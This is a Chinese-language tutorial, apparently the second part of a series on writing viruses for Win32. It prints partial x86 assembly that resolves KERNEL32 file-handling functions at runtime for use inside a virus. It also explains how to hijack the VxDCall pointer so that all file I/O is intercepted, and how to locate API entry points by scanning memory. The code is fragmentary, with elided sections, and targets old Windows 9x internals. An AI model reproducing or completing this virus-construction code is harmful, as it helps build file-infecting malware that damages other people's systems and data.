Win32下病毒设计入门(2)
szKernel db 'KERNEL32.DLL',0
szFindFirst db 'FindFirstFileA',0
szFindNext db 'FindNextFileA',0
szFindClose db 'FindClose',0
szGetCurrentDir db 'GetCurrentDirectoryA',0
szGetWinDir db 'GetWindowsDirectoryA',0
szGetSysDir db 'GetSystemDirectoryA',0
szGetFileAttrib db 'GetFileAttributesA',0
szSetFileAttrib db 'SetFileAttributesA',0
szlopen db '_lopen',0
szlread db '_lread',0
szlwrite db '_lwrite',0
szlclose db '_lclose',0
szllseek db '_llseek',0
hKernel dd 0
.code
;Initialize code
start:
push szKernel
call GetModuleHandleA
mov hKernel,eax
push szFindFirst
push hKernel
call GetProcAddress
mov FindFirstFile,eax
....
jmp VirusStart
InitExit:
push 0
call ExitProcess
VirusStart:
jmp Entry
HostEntry dd InitExit
FindFirstFile dd 0
FindNextFile dd 0
...
Entry:
...
end start
在Intialize Code得到要用的函数入口并将它填入病毒中,在病毒运行时可以直接使用了。
二:主要是要截留文件I/O操作。
Windows下截留文件I/O操作有几种方法,在病毒中使用的主要有两种。
1、使用VxDCallIFSMgr_InstallFileSystemHook
2、截留Kernel32.dll中导出的第一个函数VxDCall对DOS
INT 21的呼叫(EAX=2A0010)。
VxDCall的代码如下:
mov eax,dword ptr [esp+04]
pop dword ptr [esp]
call fword ptr cs:[xxxxxxxx]
^^^^^^^^只要将这个地址指向的地址改为自己的过程入口,就捕获了所有的VxDCall。
进入这个过程时:
eax=service number,如果是DOS INT 21将是2A0010
esp[2c]调用Int 21时eax的值
~~~~ 算漏了个pushad,应该是10h
esp[30] 调用int 21时ecx的值
~~~~14h
其他寄存器为调用时所需的值。(段寄存器无用)
以后的就和在DOS下写病毒没什么差别了。
在WINDOWS下写病毒,如何得到API的入口是一件麻烦的事. 可以直接使用的API都在DLL中,而VXDCALL要在RING0时才能使 用,DOS的INT 21服务也不能直接调用. 得到DLL中的API入口有两种方法:
1.加载时得到,建立一个 IMPORT TABLE,在加载时WINDOWS会根据IMPORT TABLE定位API的 入口地址.这是一般应用程序的使用的方法,但不大适合病毒.
2.运行时得到,使用GetModuleHandle和GetProcAddress得到API的入口,但前提时要知道GetModuleHandle和GetProcAddress的 入口地址.:< 这是明显也是不可能的.除了将GetModuleHandle和GetProcAddress的代码复制到我们的病毒中,只有使用暴力在 2GB的空间内找出API的入口了.
内容版权声明:除非注明,否则皆为本站原创文章。